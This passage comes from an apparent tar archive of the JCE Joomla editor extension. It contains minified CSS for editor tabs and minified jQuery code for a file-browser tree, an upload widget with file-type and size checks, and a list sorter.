label{position:relative;font-size:12px;font-family:Arial,Helvetica,sans-serif;margin-top:38px;display:inline-block;color:#666;font-weight:700}div#wf_upload_button input[type=file]{font-size:50px;opacity:0;position:absolute;right:0;top:0;cursor:pointer;width:100%;height:100%}.wf-editor-container .nav{margin-bottom:20px;margin-left:0;list-style:none}.wf-editor-container .nav>li>a{display:block}.wf-editor-container .nav>li>a:focus,.wf-editor-container .nav>li>a:hover{text-decoration:none;background-color:#eee}.wf-editor-container .nav>li>a>img{max-width:none}.wf-editor-container .nav>.pull-right{float:right}.wf-editor-container .nav-tabs:after,.wf-editor-container .nav-tabs:before{display:table;line-height:0;content:""}.wf-editor-container .nav-tabs:after{clear:both}.wf-editor-container .nav-tabs>li{float:left;margin-bottom:-1px}.wf-editor-container .nav-tabs{border-bottom:1px solid #ddd}.wf-editor-container .nav-tabs>li>a{margin-right:2px;line-height:20px;font-size:12px;border:1px solid transparent;cursor:pointer;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;padding:8px 12px}.wf-editor-container .nav-tabs>li>a:focus,.wf-editor-container .nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.wf-editor-container .nav-tabs>.active>a,.wf-editor-container .nav-tabs>.active>a:focus,.wf-editor-container .nav-tabs>.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.wf-editor-container .tab-content{overflow:auto}.wf-editor-container .tabs-below>.nav-tabs,.wf-editor-container .tabs-left>.nav-tabs,.wf-editor-container .tabs-right>.nav-tabs{border-bottom:0}.wf-editor-container .tab-content>.tab-pane{display:none}.wf-editor-container .tab-content>.active{display:block}.wf-editor-container .tabs-below>.nav-tabs{border-top:1px solid #ddd}.wf-editor-container .tabs-below>.nav-tabs>li{margin-top:-1px;margin-bottom:0}.wf-editor-container .tabs-below>.nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.wf-editor-container .tabs-below>.nav-tabs>li>a:focus,.wf-editor-container .tabs-below>.nav-tabs>li>a:hover{border-top-color:#ddd;border-bottom-color:transparent}.wf-editor-container .tabs-below>.nav-tabs>.active>a,.wf-editor-container .tabs-below>.nav-tabs>.active>a:focus,.wf-editor-container .tabs-below>.nav-tabs>.active>a:hover{border-color:transparent #ddd #ddd}.wf-editor-container .tabs-left>.nav-tabs>li,.wf-editor-container .tabs-right>.nav-tabs>li{float:none}.wf-editor-container .tabs-left>.nav-tabs>li>a,.wf-editor-container .tabs-right>.nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px}.wf-editor-container .tabs-left>.nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd}.wf-editor-container .tabs-left>.nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.wf-editor-container .tabs-left>.nav-tabs>li>a:focus,.wf-editor-container .tabs-left>.nav-tabs>li>a:hover{border-color:#eee #ddd #eee #eee}.wf-editor-container .tabs-left>.nav-tabs .active>a,.wf-editor-container .tabs-left>.nav-tabs .active>a:focus,.wf-editor-container .tabs-left>.nav-tabs .active>a:hover{border-color:#ddd transparent #ddd #ddd}.wf-editor-container .tabs-right>.nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd}.wf-editor-container .tabs-right>.nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.wf-editor-container .tabs-right>.nav-tabs>li>a:focus,.wf-editor-container .tabs-right>.nav-tabs>li>a:hover{border-color:#eee #eee #eee #ddd}.wf-editor-container .tabs-right>.nav-tabs .active>a,.wf-editor-container .tabs-right>.nav-tabs .active>a:focus,.wf-editor-container .tabs-right>.nav-tabs .active>a:hover{border-color:#ddd #ddd #ddd transparent}.wf-editor-container .nav>.disabled>a{color:#999}.wf-editor-container .nav>.disabled>a:focus,.wf-editor-container .nav>.disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent}.wf-editor-container .wf-editor-tabs{margin-bottom:5px;height:37px}.wf-editor-container.mce-fullscreen .wf-editor-tabs{margin:0;padding:7px 0 0;border:0}.wf-editor-container .wf-editor-tabs li{float:right;padding:0}editor/libraries/css/index.html000060400000000054150750527150012575 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/js/index.html000060400000000054150750527150012421 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/js/filebrowser.min.js000060400000216470150750527150014102 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function($,Wf){var Tree=function(element,options){this.element=element,this.options=$.extend({collapseTree:!1,charLength:!1},options),this._init()},scrollEvents="click.scroll mousedown.scroll wheel.scroll mousewheel.scroll keyup.scroll touchmove.scroll";Tree.prototype={_trigger:function(ev,args){$(this.element).trigger("tree:"+ev,args)},_init:function(){var self=this;this.element&&(this._trigger("init",function(){self.nodeEvents()}),$(this.element).on(scrollEvents,function(){$(this).stop()}))},nodeEvents:function(parent){var self=this;parent||(parent=this.element),$("ul:first",parent).attr({role:"tree"}).addClass("uk-tree").children("li").attr("aria-level",1),$(parent).on("click",function(e){var n=e.target,p=$(n).parents("li").get(0);e.preventDefault(),e.stopPropagation(),$(n).hasClass("uk-icon")&&(n=n.parentNode),$(n).hasClass("uk-tree-toggle")?self.toggleNode(e,p):self._trigger("nodeclick",p),$(self.element).find(".uk-tree-active").removeClass("uk-tree-active"),$(p).addClass("uk-tree-active")}),$("li",parent).attr({role:"treeitem"}).attr("aria-expanded",function(){return!!$(this).hasClass("uk-tree-open")}).attr("aria-level",function(i,v){if(!v)return parseFloat($(this.parentNode.parentNode).attr("aria-level"))+1}),$("li",parent).find(".uk-tree-row").attr("role","presentation").prepend('<span class="uk-tree-toggle" role="presentation"><i class="uk-icon uk-icon-plus-square-o"></i><i class="uk-icon uk-icon-minus-square-o"></i></span>'),$("li",parent).not(".uk-tree-root").find(".uk-tree-icon").attr("role","presentation").append('<i class="uk-icon uk-icon-folder"></i><i class="uk-icon uk-icon-folder-open"></i>')},_hasNodes:function(parent){"string"==$.type(parent)&&(parent=this._findParent(parent));var c=$("li",parent);return c.length>1||1==c.length&&!$(c).is(":empty")},_isNode:function(id,parent){var n=this._findNode(id,parent);return!!n.length},_getNode:function(parent){return"string"===$.type(parent)&&(parent=this._findParent(parent)),$(".uk-tree-node",parent)},_resetNodes:function(){$("li",this.element).removeClass("uk-tree-open")},renameNode:function(id,name){var parent=Wf.String.dirname(id),node=this._findNode(id,parent);$(node).attr("data-id",name),$("a:first .uk-tree-text",node).text(Wf.String.basename(name)),$('li[data-id^="'+this._escape(encodeURI(id))+'"]',node).each(function(n){var nt=$(n).attr("data-id");$(n).attr("data-id",nt.replace(id,name))})},removeNode:function(id){var parent=Wf.String.dirname(id),node=this._findNode(id,parent),ul=$(node).parent("ul");$(node).remove(),ul&&!this._hasNodes(ul)&&$(ul).remove()},sortNodes:function(parent){var p=$(parent).parent();parent=$(parent).detach();var list=$("li",parent).map(function(){var v=$(".uk-tree-text",this).attr("title");return{value:v,element:this}}).get();list.sort(function(a,b){return a.value<b.value?-1:b.value<a.value?1:0}),$.each(list,function(i,item){$(parent).append(item.element)}),$(p).append(parent)},createNode:function(nodes,parent,sortNodes){var self=this;if(nodes.length)if(parent||(parent=Wf.String.dirname($(nodes[0]).attr("data-id")||$(nodes[0]).attr("id"))),"string"==$.type(parent)&&(parent=this._findParent(parent)),nodes=$.grep(nodes,function(node){return 0===self._findNode(node.id,parent).length}),$(this.element).find(".uk-tree-active").removeClass("uk-tree-active"),nodes&&nodes.length){var ul=$(".uk-tree-node:first",parent)||null;ul.length||(ul=document.createElement("ul"),$(ul).attr({role:"group"}).addClass("uk-tree-node").append('<li role="treeitem" aria-expanded="false"></li>'),$(parent).append(ul)),$.each(nodes,function(i,node){if(self._isNode(node.id,parent))self.toggleNodeState(parent,1);else{var title=node.name||node.id;title=Wf.String.decode(title),name=title;var url=node.url||"#";node.class||(node.class="folder");var html='<li data-id="'+self._escape(encodeURI(node.id))+'" class="'+node.class+'" aria-level="'+parseFloat($(parent).attr("aria-level"))+'1">';html+='<div class="uk-tree-row">',node.class.indexOf("folder")>=0&&(html+='<span class="uk-tree-toggle" role="presentation"> <i class="uk-icon uk-icon-plus-square-o"></i> <i class="uk-icon uk-icon-minus-square-o"></i></span>'),html+='<a href="'+url+'" title="'+title+'"><span class="uk-tree-icon">',html+=node.class.indexOf("folder")>=0?'<i role="presentation" class="uk-icon uk-icon-folder"></i><i role="presentation" class="uk-icon uk-icon-folder-open"></i>':'<i role="presentation" class="uk-icon uk-icon-file-text-o"></i>',html+="</span>",html+='<span class="uk-tree-text uk-width-9-10 uk-margin-small-left uk-text-truncate" title="'+name+'">'+name+"</span>",html+="</a></div>",html+="</li>",$(ul).append(html),self.toggleNodeState(parent,1),self._trigger("nodecreate")}}),sortNodes!==!1&&$(ul).children().length>1&&self.sortNodes(ul)}else this.toggleNodeState(parent,1)},_findParent:function(el){return"string"===$.type(el)?$('li[data-id="'+this._encode(el)+'"]:first',this.element):$(el).parents("li:first")},_findNode:function(id,parent){return parent&&"/"!==parent||(parent=this.element),"string"===$.type(parent)&&(parent=this._findParent(parent)),$(parent).find('li[data-id="'+this._escape(this._encode(id))+'"]:first')},toggleLoader:function(node){$(node).toggleClass("uk-tree-loading")},_collapseNodes:function(ex){var self=this;ex||this._resetNodes();var parent=$(ex).parent();$("li",parent).each(function(){var el=this;if(el!==ex&&$(el).parent()!==parent){self.toggleNodeState(el,0);var child=self._getNode(el);$(child).addClass("uk-tree-hide")}})},toggleNodeState:function(node,state){if(state?$(node).addClass("uk-tree-open").attr("aria-expanded",!0):$(node).removeClass("uk-tree-open").attr("aria-expanded",!1),state){if($(node).hasClass("uk-tree-root"))return;var c=$(".uk-tree-node",node);$(node).hasClass("uk-tree-open")?$(c).removeClass("uk-tree-hide"):$(c).addClass("uk-tree-hide")}},toggleNode:function(e,node){if(e.shiftKey)return this._trigger("nodeload",node);var child=this._getNode(node);child.length?($(child).toggleClass("uk-tree-hide"),this.toggleNodeState(node,!$(child).hasClass("uk-tree-hide"))):$(node).hasClass("uk-tree-open")?this.toggleNodeState(node,0):this._trigger("nodeload",node),this.options.collapseTree&&this._collapseNodes(node)},refreshNode:function(node){var parent=this._findParent(node);return this._trigger("nodeload",parent)},_encode:function(s){return s=decodeURIComponent(s),encodeURIComponent(s).replace(/%2F/gi,"/")},_escape:function(s){return s.replace(/'/,"%27")},scrollTo:function(id){var el=this.element,node=this._findNode(id);if($(node).length){var padding=parseInt($(node).css("padding-left"))+parseInt($(this.element).css("padding-left")),left=$(node).get(0).offsetLeft-padding,top=$(node).get(0).offsetTop-($(node).outerHeight()+2);$(el).find(".uk-tree-active").removeClass("uk-tree-active"),$(el).animate({scrollLeft:Math.round(left)},500).animate({scrollTop:Math.round(top)},1500,function(){$(this).off(scrollEvents)}),$(node).addClass("uk-tree-active")}}},$.fn.tree=function(options){var inst=new Tree(this,options);return $(this).on("tree:createnode",function(e,node,parent,sortNodes){"string"==typeof node&&(node=[node]),inst.createNode(node,parent,sortNodes)}),$(this).on("tree:removenode",function(e,node){inst.removeNode(node)}),$(this).on("tree:renamenode",function(e,node,name){inst.renameNode(node,name)}),$(this).on("tree:togglenode",function(e,ev,node){inst.toggleNode(ev,node)}),$(this).on("tree:togglenodestate",function(e,node,state){inst.toggleNodeState(node,state)}),$(this).on("tree:toggleloader",function(e,node){inst.toggleLoader(node)}),$(this).on("tree:refreshnode",function(e,node){inst.refreshNode(node)}),$(this).on("tree:scroll",function(e,id){inst.scrollTo(id)}),$(this).on("tree:init",function(e){inst.nodeEvents()}),this}}(jQuery,Wf),function($,window,undef){function uid(){var i,guid=(new Date).getTime().toString(32);for(i=0;i<5;i++)guid+=Math.floor(65535*Math.random()).toString(32);return"wf_"+guid+(counter++).toString(32)}function cancel(e){e.preventDefault(),e.stopImmediatePropagation()}function Transport(options){this.options=$.extend({callback:$.noop,headers:{},multipart:{},data_name:"file"},options)}function Uploader(options){var self=this;return self.events=[],this.options=$.extend({container:"body",multiple:!0,input_name:"file",drop_target:null,upload_button:null,filetypes:"*",max_size:1024,data:{}},options),this.files=[],this.input=$('<input type="file" />'),$(this.input).addClass("wf-uploader-element"),$(this.input).prop("multiple",this.options.multiple),this}var counter=0,mime={jpeg:"image/jpeg",jpg:"image/jpeg",png:"image/png",gif:"image/gif",tif:"image/tiff",tiff:"image/tiff",webp:"image/webp"},Env=function(){var nav=navigator,ua=nav.userAgent,o={};return o.opera=!(!window.opera||!window.opera.buildNumber),o.webkit=/WebKit/.test(ua),o.ie11=!!window.MSInputMethodContext,o.gecko=!o.webkit&&!o.ie11&&/Gecko/.test(ua),o}();$.support.xhr2=!!(window.ProgressEvent&&window.FileReader&&window.FormData),$.support.dragdrop=$.support.xhr2&&!Env.opera,Transport.prototype={upload:function(file){this.file=file,$.support.xhr2?(this.transport=new XMLHttpRequest,this.xhr()):(this.transport=document.createElement("iframe"),this.iframe())},error:function(status,text){var callback=this.options.callback,error={message:text||"The server returned an invalid JSON response.",file:this.file,code:status||500};callback("error",error)},response:function(data){var callback=this.options.callback;if(data){var r;try{r=$.parseJSON(data)}catch(e){return data.indexOf("{")!==-1&&(data="The server returned an invalid JSON response."),this.error(500,data),!1}if(r.error)return this.error(r.error.code,r.error.message),!1;r.file=this.file,callback("uploadcomplete",r),this.file=null}else this.error()},xhr:function(){var self=this,xhr=this.transport,o=this.options,callback=o.callback,formData=new FormData,file=this.file;xhr.upload&&(xhr.upload.onprogress=function(e){e.lengthComputable&&(file.loaded=Math.min(file.size,e.loaded),callback("progress",file))}),xhr.onreadystatechange=function(){4===xhr.readyState&&(200===xhr.status?(file.loaded=file.size,callback("progress",file),formData=null,self.response(xhr.responseText)):self.error(xhr.status),xhr.onreadystatechange=$.noop,xhr=null)},xhr.open("post",o.url,!0),$.each(o.headers,function(name,value){xhr.setRequestHeader(name,value)}),xhr.setRequestHeader("X-Requested-With","XMLHttpRequest"),$.each(o.multipart,function(name,value){"object"===$.type(value)?formData.append(value.name,value.value):formData.append(name,value)}),file.data&&$.each(file.data,function(name,value){"object"===$.type(value)?formData.append(value.name,value.value):formData.append(name,value)}),formData.append("method","upload"),formData.append("id",uid()),formData.append(o.data_name,file),xhr.send(formData)},cleanup:function(){var file=this.file;return file&&file.input&&$(file.input).parent('form[target="wf_upload_iframe"]').remove(),!1},iframe:function(){var self=this,ifr=this.transport,o=this.options,callback=o.callback,form=o.form,_uid=uid(),file=this.file,input=file.input;$(input).wrap('<form method="post" encoding="multipart/form-data" enctype="multipart/form-data" />');var form=input.parentNode;input.setAttribute("name",o.data_name),$.each(o.multipart,function(name,value){if(name!==o.data_name){var k,v;"object"===$.type(value)?(k=value.name,v=value.value):(k=name,v=value),$(form).prepend($('<input type="hidden" name="'+k+'" value="'+v+'" />'))}}),$(form).prepend($('<input type="hidden" name="method" value="upload" />')),$(form).prepend($('<input type="hidden" name="id" value="'+_uid+'" />'));var tmp=document.createElement("div");tmp.innerHTML='<iframe id="'+_uid+'_iframe" name="'+_uid+'_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>',ifr=tmp.firstChild,$(ifr).on("load",function(e){var el;try{el=ifr.contentWindow.document||ifr.contentDocument||window.frames[ifr.id].document}catch(ex){self.error(500,"Invalid Document"),self.cleanup()}if('javascript:""'===el.location.href)return!1;var result=el.body.innerHTML;return result=$.trim(result),file.loaded=100,callback("progress",file),""===result?(self.error(500,"Invalid Document"),self.cleanup(),!1):(self.cleanup(),void self.response(result))}),$(form).append(ifr),form.setAttribute("target",_uid+"_iframe"),this.transport=ifr,form.setAttribute("action",o.url),form.submit()},abort:function(){if(this.transport instanceof XMLHttpRequest)this.transport.abort(),this.transport.onreadystatechange=$.noop,this.transport=null,this.cleanup();else{var ifr=this.transport;try{ifr&&ifr.contentWindow&&(ifr.contentWindow.stop?ifr.contentWindow.stop():ifr.contentWindow.document.execCommand?ifr.contentWindow.document.execCommand("Stop"):ifr.src="about:blank")}catch(ex){}this.transport=null,this.cleanup()}}},Uploader.prototype={_events:[],files:[],on:function(event,fn){return $(document).on("upload:"+event,fn),this._events.push(event),this},fire:function(event){return $(document).trigger("upload:"+event,Array.prototype.slice.call(arguments,1)),this},init:function(){var self=this,o=this.options;if(o.drop_target&&$.support.dragdrop&&($(o.drop_target).on("dragover",function(e){var dataTransfer=e.originalEvent.dataTransfer;self.fire("dragover"),dataTransfer.dropEffect="copy",cancel(e)}),$(o.drop_target).on("dragstart dragenter dragleave dragend",function(e){self.fire(e.type),cancel(e)}),$(o.drop_target).on("drop",function(e){var dataTransfer=e.originalEvent.dataTransfer;self.fire("drop"),dataTransfer&&dataTransfer.files&&dataTransfer.files.length&&($.each(dataTransfer.files,function(i,file){self.addFile(file)}),cancel(e)),!o.upload_button&&self.files.length&&self.start(),Env.gecko&&"IMG"===e.target.nodeName&&cancel(e),cancel(e)})),o.browse_button){var btn=o.browse_button;$(btn).addClass("wf-uploader-button").wrap('<div class="wf-uploader-container" />'),$(this.input).on("change",function(){if(this.files&&$.support.xhr2)$.each(this.files,function(i,file){self.addFile(file)});else{var name=this.value.replace(/\\/g,"/").replace(/\/(.+)$/,"$1");self.addFile({name:name,input:this}),$(this).hide().clone(!0).insertAfter(this).show()}!o.upload_button&&self.files.length&&self.start()}),$(this.input).clone(!0).insertAfter(btn)}return self.fire("init"),this},addFile:function(file){if(file&&file.name){var name=file.name,ext=name.substring(name.length,name.lastIndexOf(".")+1);if(/\.(php|php(3|4|5)|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)\./i.test(file.name))return this.fire("error",{code:800,message:"FILE_INVALID_ERROR",file:file}),!1;if("*"!==this.options.filetypes){var rx=new RegExp("^("+this.options.filetypes.split(",").join("|")+")$","i");if(rx.test(ext)===!1)return this.fire("error",{code:601,message:"FILE_EXTENSION_ERROR",file:file}),!1}if(file.size=file.size||"",file.size&&parseInt(file.size)>1024*parseInt(this.options.max_size))return this.fire("error",{code:600,message:"FILE_SIZE_ERROR",file:file}),!1;if(file.id=uid(),file.extension=ext,file.type||(file.type=/(jpg|jpeg|bmp|tiff|tif|gif|png|webp)/.test(ext)?mime[ext]:"text/plain"),name=name.replace(/\\/g,"/").replace(/\/+/g,"/"),file.filename=name.split("/").pop(),this.fire("fileadded",file),this.fileExists(file))return this.fire("error",{code:700,message:"FILE_EXISTS_ERROR",file:file}),!1;this.files.push(file)}},removeFile:function(file){this.fire("fileremoved",file);var i=this.getFileIndex(file);return i!==-1&&this.files.splice(i,1),this},getFileIndex:function(file){var i,files=this.files,len=files.length;for(i=0;i<len;i++)if(files[i]&&files[i].id===file.id)return i;return-1},fileExists:function(file){var i,files=this.files,len=files.length;for(i=0;i<len;i++)if(files[i]&&files[i].filename===file.filename)return!0;return!1},updateFile:function(file,property){var self=this,i=this.getFileIndex(file);return i!==-1&&$.each(property,function(name,value){/^(size|type|element)$/.test(name)===!1&&(self.files[i][name]=value)}),this},renameFile:function(file,name){return this.updateFile(file,{filename:name})},upload:function(file){var data,self=this,o=this.options;"object"===$.type(o.data)&&(data=$.extend({name:file.filename||""},o.data)),"array"===$.type(o.data)&&(data=$.merge([{name:"name",value:file.filename||""}],o.data));var args={url:o.url,data_name:o.input_name,multipart:data,callback:function(ev,args){self.fire(ev,args),"uploadcomplete"!==ev&&"error"!==ev||(self.removeFile(file),self.transport=null),0===self.files.length&&self.fire("allcomplete")}};return this.transport=new Transport(args),this.transport.upload(file),this},start:function(){var self=this;return $.each(this.files,function(i,file){self.fire("uploadstart",file),self.upload(file)}),this},clear:function(){return this.files=[],$(this.element).val("").siblings(".wf-uploader-element").remove(),this},stop:function(){return this.transport&&(this.transport.abort(),this.fire("abort")),this},destroy:function(){return this.transport&&(this.transport.cleanup(),this.transport=null),this.clear(),this.fire("destroy"),$.each(this._events,function(i,ev){$(document).off("upload:"+ev)}),this}},window.Uploader=Uploader}(jQuery,window),function($,Wf){function mapIcon(ext){return/^(flv|mp4|m4v|webm|ogg|ogv|mov|wmv|avi)$/.test(ext)?"video":/^(mp3|ogg|oga|webm)$/.test(ext)?"audio":/^(jpg|jpeg|png|gif|png|svg|bmp|tiff)$/.test(ext)?"image":/^(txt|htm|html)$/.test(ext)?"text":/^(doc|docx|dot|dotx)$/.test(ext)?"word":/^(xls|xlsx)$/.test(ext)?"excel":/^(ppt|pptx)$/.test(ext)?"powerpoint":/^(rar|zip|tar|gz)$/.test(ext)?"zip":/^(html|htm)$/.test(ext)?"code":/^(txt|rtf|csv)$/.test(ext)?"text":ext}function UploadWidget(element,options){this.element=element||$("<div />"),this.uploader={},this.errors=0,this.uploading=!1,this.options=$.extend({field:$("input[name=file]:first"),max_size:!1,limit:0,filetypes:"*",insert:!0,buttons:{},websafe_mode:"utf-8",browse_button:"#upload-browse",upload_button:"#upload-start",drop_target:"#upload-body"},options),this.init()}UploadWidget.prototype={FILE_SIZE_ERROR:600,FILE_EXTENSION_ERROR:601,FILE_EXISTS_ERROR:700,FILE_INVALID_ERROR:800,_trigger:function(ev,args){$(this.element).trigger("uploadwidget:"+ev.toLowerCase(),args)},init:function(){this.uploader instanceof Uploader&&this.uploader.destroy(),$(this.options.field).remove(),this._createUploader()},_createUploader:function(){var self=this;$.support.xhr2||$(this.element).addClass("wf-uploader-html4"),this.uploader=new Uploader(this.options),this.uploader.on("init",function(){self._createDragDrop(),self._trigger("init")}),this.uploader.on("fileadded",function(e,file){self._createQueue(file),self._trigger("fileadded",file)}),this.uploader.on("uploadstart",function(e,file){self._onStart(file)}),this.uploader.on("allcomplete",function(){self._onAllComplete()}),this.uploader.on("uploadcomplete",function(e,o){self._onComplete(o)}),this.uploader.on("dragover",function(e,o){$(self.options.drop_target).addClass("wf-upload-dragover")}),this.uploader.on("dragleave",function(e,o){$(self.options.drop_target).removeClass("wf-upload-dragover")}),this.uploader.on("drop",function(e,o){$(self.options.drop_target).removeClass("wf-upload-dragover")}),this.uploader.on("close",function(e,o){self.close()}),this.uploader.on("error",function(up,error){var file=error.file;"string"==typeof error&&(error={message:error,code:500}),file&&(error.code<600?$(file.element).removeClass("queue-item-loading").addClass("queue-item-error"):$(file.element).remove(),self._showError(error,file)),self.errors++}),this.uploader.on("fileremoved",function(file){}),this.uploader.on("progress",function(o,file){self._onProgress(file)}),this.uploader.init()},_showError:function(error,file){var self=this;error=$.extend({message:"",code:500},error),"array"===$.type(error.message)&&(error.message=error.message.join("\n"));var msg=error.message.replace(/[^a-z_ ]/gi,"").replace(/\s+/g,"_").toLowerCase(),code=error.code.toString(),details=Wf.translate("error_"+code.replace(/[\D]/g,""),""),message=Wf.translate(msg,error.message);if(message=message.replace(/<br[\s\/]+?>/gi,""),message=message.replace("%s",file.name),error.details)details="<br />"+error.details;else{switch(error.code){case self.FILE_EXTENSION_ERROR:case self.FILE_INVALID_ERROR:case self.FILE_EXISTS_ERROR:details=details.replace("%s",file.name);break;case self.FILE_SIZE_ERROR:details=details.replace(/%([fsm])/g,function($0,$1){switch($1){case"f":return file.name;case"s":return Wf.String.formatSize(file.size);case"m":return Wf.String.formatSize(1024*self.options.max_size)}})}details&&(message+="<br />"+details)}error.code<600?($(".uk-progress",file.element).hide(),$('<div class="uk-alert uk-alert-danger uk-width-1-1 uk-text-center" />').html(message).appendTo(file.element)):Wf.Modal.alert(message)},_onStart:function(file){this._trigger("uploadstart",file),$(file.element).addClass("queue-item-loading").find('input[type="text"]').prop("disabled",!0)},_isError:function(err){return!!err&&(!$.isArray(err)||err.length)},_onComplete:function(o){var file=o.file;$(file.element).removeClass("queue-item-loading").addClass("queue-item-complete");var item={name:o.result.files[0]||file.name};this._trigger("filecomplete",[file,item])},_onAllComplete:function(){this.uploading=!1,this._trigger("uploadcomplete",this.getErrorCount())},_setProgress:function(el,percent){$(".uk-progress-bar",el).css("width",percent+"%").attr("aria-valuenow",percent+"%").text(percent+"%")},_onProgress:function(file){if(file.size){var percent=Math.floor(file.loaded/file.size*100);file.size===file.loaded&&(percent=100),this._setProgress(file.element,percent)}},upload:function(args){var files=this.uploader.files;return files.length&&(this.uploading=!0,this.uploader.options.data=args||{},this.uploader.start()),!1},refresh:function(){},close:function(){this.uploader instanceof Uploader&&(this.uploading&&this.uploader.stop(),this.uploader.destroy()),this.errors=0,this.uploader={},this.uploading=!1},getErrorCount:function(){return this.errors},isUploading:function(){return this.uploading},stop:function(){this.uploader.stop()},start:function(){this.uploader.start()},setStatus:function(s){var file=this.currentFile;file&&($(file.element).removeClass("queue-item-loading queue-item-complete queue-item-error").addClass(s.state||""),s.state&&"error"===s.state&&(this.errors++,s.message&&($(".uk-progress",file.element).hide(),$('<div class="uk-alert uk-alert-danger uk-width-1-1 uk-text-center" />').html(s.message).appendTo(file.element))))},_createDragDrop:function(){$("#upload-queue-drag").remove(),$("#upload-queue").empty(),$.support.dragdrop&&$('<div id="upload-queue-drag" class="uk-block uk-block-large uk-text-center uk-text-large"><i class="uk-icon-cloud-upload uk-icon-medium uk-margin-right uk-text-muted"></i>'+Wf.translate("upload_drop","Drop files here")+"</div>").appendTo("#upload-queue-block").show()},_renameFile:function(file,name){this.uploader.renameFile(file,name),this._trigger("filerename",file)},_removeFiles:function(){this.uploader.splice(),$(this.element).empty()},_fileExists:function(file){return this.uploader.fileExists(file)},_removeFile:function(file){this._trigger("filedelete",file),$(file.element).remove(),this.uploader.removeFile(file)},_createQueue:function(file){var self=this,name=Wf.String.basename(file.filename);name=Wf.String.safe(name,self.options.websafe_mode,self.options.websafe_spaces),file.filename=name;var title=Wf.String.stripExt(name);file.element=document.createElement("div");var remove=$('<button class="uk-button uk-button-link" />').attr({title:Wf.translate("delete","Delete")}).addClass("queue-item-action").click(function(e){return e.preventDefault(),self.uploading?self._stop(file):self._removeFile(file)}).append('<i class="uk-icon uk-icon-trash" />'),ext=file.extension.toLowerCase(),input=$('<i class="uk-icon uk-icon-file-'+mapIcon(ext)+'-o" /><input type="text" value="'+title+'" class="uk-width-1-1" /><span class="queue-item-extension uk-text-muted uk-icon-none">.'+file.extension+"</span>"),name=$('<div class="queue-item-name uk-width-4-5 uk-form-icon uk-form-icon-both" />').append(input),buttons=[remove];$.each(self.options.buttons,function(name,props){var btn=$('<button class="uk-button uk-button-link" title="'+props.title||name+'" />').addClass(props.class).click(function(e){if($(this).hasClass("disabled"))return void e.preventDefault();var fn=props.click||$.noop;fn.call(self,this),e.preventDefault()});buttons.push(btn)});var size=$('<div class="queue-item-size uk-flex-item-auto uk-text-center" title="'+Wf.String.formatSize(file.size)+'" role="presentation" />').html(Wf.String.formatSize(file.size)),actions=$('<div class="queue-item-actions uk-grid uk-grid-collapse uk-width-1-5 uk-text-right" />').appendTo(file.element).append(size).append(buttons),progress=$('<div class="uk-progress uk-width-1-1"><div class="uk-progress-bar"></div></div>');$(file.element).addClass("queue-item uk-width-1-1 uk-grid uk-grid-collapse").appendTo($(self.element)).append([name,actions,progress]),$('input[type="text"]',file.element).on("change keyup",function(e){var v=this.value;v=Wf.String.safe(this.value,self.options.websafe_mode,self.options.websafe_spaces),$(this).toggleClass("uk-form-danger",v!==this.value),"change"===e.type&&self._renameFile(file,v+"."+file.extension)}).change(),self._trigger("fileSelect",file)},_stop:function(file){this.uploader.stop(),$(file.element).removeClass("queue-item-loading")}},$.fn.uploader=function(options){var inst=new UploadWidget(this,options);return $(this).on("uploadwidget:upload",function(e,data){return inst.isUploading()?(cancel(e),!1):void inst.upload(data)}),$(this).on("uploadwidget:close",function(){inst.close()}),this}}(jQuery,Wf),function($){$.fn.listsort=function(options){function sortList(selector,type,attribute,direction){var fn;switch(type){case"date":fn=sortDate;break;default:fn=sortCompare}var list=$(selector,el).map(function(){var v=$(this).attr(attribute)||$(this).text();return"number"==type&&(v=parseFloat(v)),"extension"==type&&(v=v.substring(v.length,v.lastIndexOf(".")+1).toLowerCase()),"string"==type&&(v=v.toLowerCase()),{value:v,element:this}}).get();list.sort(fn),"desc"!=direction&&"extension"!=type||list.reverse(),$.each(list,function(i,item){$(el).append(item.element)}),list=null,$(el).trigger("listsort:sort")}function sortDate(a,b){var x=a.value,y=b.value,r=0,d1=0,d2=0,t1=0,t2=0,re=/(\d{2})[\/](\d{2})[\/](\d{4}), (\d{2})[:](\d{2})/g;return d1=x.replace(re,"$3$2$1"),d2=y.replace(re,"$3$2$1"),t1=x.replace(re,"$4$5"),t2=y.replace(re,"$4$5"),d1>d2&&(r=1),d1<d2&&(r=-1),t1>t2&&(r=1),t1<t2&&(r=-1),r}function sortCompare(a,b){return a.value<b.value?-1:b.value<a.value?1:0}options=$.extend({fields:{}},options);var el=this;return $.each(options.fields,function(element,props){$(element).addClass("asc").on("click",function(){var direction="asc";$(this).toggleClass(function(){return $(this).is(".asc")?($(this).removeClass("asc"),direction="desc"):($(this).removeClass("desc"),direction="asc"),direction});var selector=props.selector;"string"==$.type(selector)&&(selector=[selector]),$.each(selector,function(i,s){sortList(s,$(element).data("sort-type"),props.attribute,direction)})})}),this}}(jQuery),function($){function defer(fn){setTimeout(fn,0)}function escapeRegExChars(str){return str.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")}function debounce(func,wait,immediate){var timeout,result;return function(){var later,callNow,context=this,args=arguments;return 